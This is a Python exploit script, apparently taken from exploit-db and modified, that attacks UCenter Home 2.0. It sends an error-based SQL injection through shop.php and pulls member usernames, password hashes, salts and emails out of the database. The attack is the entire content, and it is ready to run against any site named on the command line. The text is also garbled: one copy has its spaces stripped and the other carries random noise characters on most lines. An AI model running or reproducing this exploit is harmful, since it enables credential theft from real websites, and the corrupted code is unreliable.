#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
, M/ ]$ C& L- G% _8 [ 1 l8 z. K+ r6 q* P) y9 S
$ U/ Z2 m) L' {# D" [/ m' z9 S
#!/usr/bin/env python
4 f; h" Z4 Z6 D9 X% j/ N
" p7 ~" c9 m' r7 q3 c; K# W: Oimport sys 5 Z* z& H9 R' i7 v/ f9 q
import urllib2 6 t" E% C6 I6 m
import re & G1 y# N% y2 ~, \6 z, R1 X
% ]2 w: L: z2 e2 t! jdef info():
+ x: w( f% q: J+ W print 'From:http://www.exploit-db.com/exploits/14997/'
) b6 V: J/ U4 ~, V print 'http://www.hake.cc/Web_loudong/'
5 ]7 x" \( S' v print 'changed:qiaoy'
! }3 t& l8 A" z# J3 Q0 o$ I print 'exp:' % L9 T5 u+ E/ [- e. N
print ' ./UCenter_Home_2.0.py site' , Z& j/ G+ E+ p4 b9 ~- P( m
( T/ l. N* r) S1 a
def main():
: p7 f; a& _& K7 k) Y if len(sys.argv) != 2: 1 e/ H1 M$ I8 C" C" D
info() k- w9 K1 Z, k* E+ X5 T, b, J
else: ( v4 h# M! e3 i! ]8 z) H \
site = sys.argv[1] : y1 {/ e. c' z3 ^# W
if site[0:7] == 'http://':
6 }1 S @# ?9 t# I, M* r* C; s sitesite =site
8 W4 ^0 Z% y5 T* x Y! W' O) \9 O. k elif site[0:8] == 'https://':
. I1 ?3 b3 R |/ l. U sitesite = site 3 z4 p" E" S6 i
else:
]4 x, n& N9 b) I# h site = 'http://'+site 2 s& x+ e, }$ E
try: 4 G4 ~; C8 L& I j
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 4 s' N1 |7 J! i5 A/ J! t6 `
Value = urllib2.urlopen(url).read()
; ~. Q* U. T3 e8 S1 R9 R" \ Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] 1 H: u3 d/ U8 q2 b5 l5 v9 `* r* p8 T
hacked = Msg.split(':') ( n) O7 x4 A" C3 A+ h- k
print 'Name: '+hacked[1]
* O: g/ ^2 ?3 J; P% e, D, Y) U) u print 'Passwd: '+hacked[2]
1 x7 s C) _. ]: l* @& f print 'salt: '+hacked[3] / R* ?6 z9 ^) I9 ]
print 'email: '+hacked[4] / ^0 A9 \% v: m) y7 }8 v/ _( w; n
except:
E o$ K6 k% b& ~$ M4 T print 'Sorry,I can\'t work............'
% z6 [* l: g7 I! G( h$ w2 S
; n3 j: W3 K7 \if __name__ == '__main__':
6 A& Q7 r1 O7 J. X% _ main() |